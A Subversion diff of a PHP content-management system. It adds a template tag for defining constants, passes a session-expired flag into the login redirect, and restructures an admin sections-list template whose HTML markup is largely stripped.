(.../admin_tag_processor.php) (revision 4471) +++ trunk/core/units/admin/admin_tag_processor.php (.../admin_tag_processor.php) (revision 4490) @@ -3,7 +3,13 @@ class AdminTagProcessor extends kDBTagProcessor { var $Tree = Array(); - + + function SetConst($params) + { + $name = $this->SelectParam($params, 'name,const'); + safeDefine($name, $params['value']); + } + /** * Allows to execute js script after the page is fully loaded * Index: trunk/kernel/admin_templates/incs/form_blocks.tpl =================================================================== diff -u -N -r4457 -r4490 --- trunk/kernel/admin_templates/incs/form_blocks.tpl (.../form_blocks.tpl) (revision 4457) +++ trunk/kernel/admin_templates/incs/form_blocks.tpl (.../form_blocks.tpl) (revision 4490) @@ -22,7 +22,7 @@ - +
Index: trunk/core/kernel/processors/main_processor.php =================================================================== diff -u -N -r4457 -r4490 --- trunk/core/kernel/processors/main_processor.php (.../main_processor.php) (revision 4457) +++ trunk/core/kernel/processors/main_processor.php (.../main_processor.php) (revision 4490) @@ -520,7 +520,7 @@ function ModuleInclude($params) { $ret = ''; - $block_params = Array('is_silent' => 1); // don't make fatal errors in case if template is missing + $block_params = Array('is_silent' => 2); // don't make fatal errors in case if template is missing $current_template = $this->Application->GetVar('t'); foreach ($this->Application->ModuleInfo as $module_name => $module_data) { if (!$module_data['Loaded']) continue; @@ -755,7 +755,13 @@ if ( $this->Application->LoggedIn() && !$group_access) { $this->Application->Redirect( $params['no_group_perm_template'], Array('next_template'=>$t) ); } - $this->Application->Redirect( $params['login_template'], Array('next_template'=>$t) ); + + $redirect_params = Array('next_template' => $t); + $session_expired = $this->Application->GetVar('expired'); + if ($session_expired) { + $redirect_params['expired'] = $session_expired; + } + $this->Application->Redirect( $params['login_template'], $redirect_params); } } Index: trunk/kernel/admin_templates/sections_list.tpl =================================================================== diff -u -N -r4471 -r4490 --- trunk/kernel/admin_templates/sections_list.tpl (.../sections_list.tpl) (revision 4471) +++ trunk/kernel/admin_templates/sections_list.tpl (.../sections_list.tpl) (revision 4490) @@ -24,21 +24,32 @@ - - - "> - - - - - - - -
- .gif" border="0" alt="" align="absmiddle"/> - - " class="dLink" title="" target="main"> - -
+ + + + + + +
+ + + "> + + + + + + + +
+ .gif" border="0" alt="" align="absmiddle"/> + + " class="dLink" title="" target="main"> + +
+
+ + +
\ No newline at end of file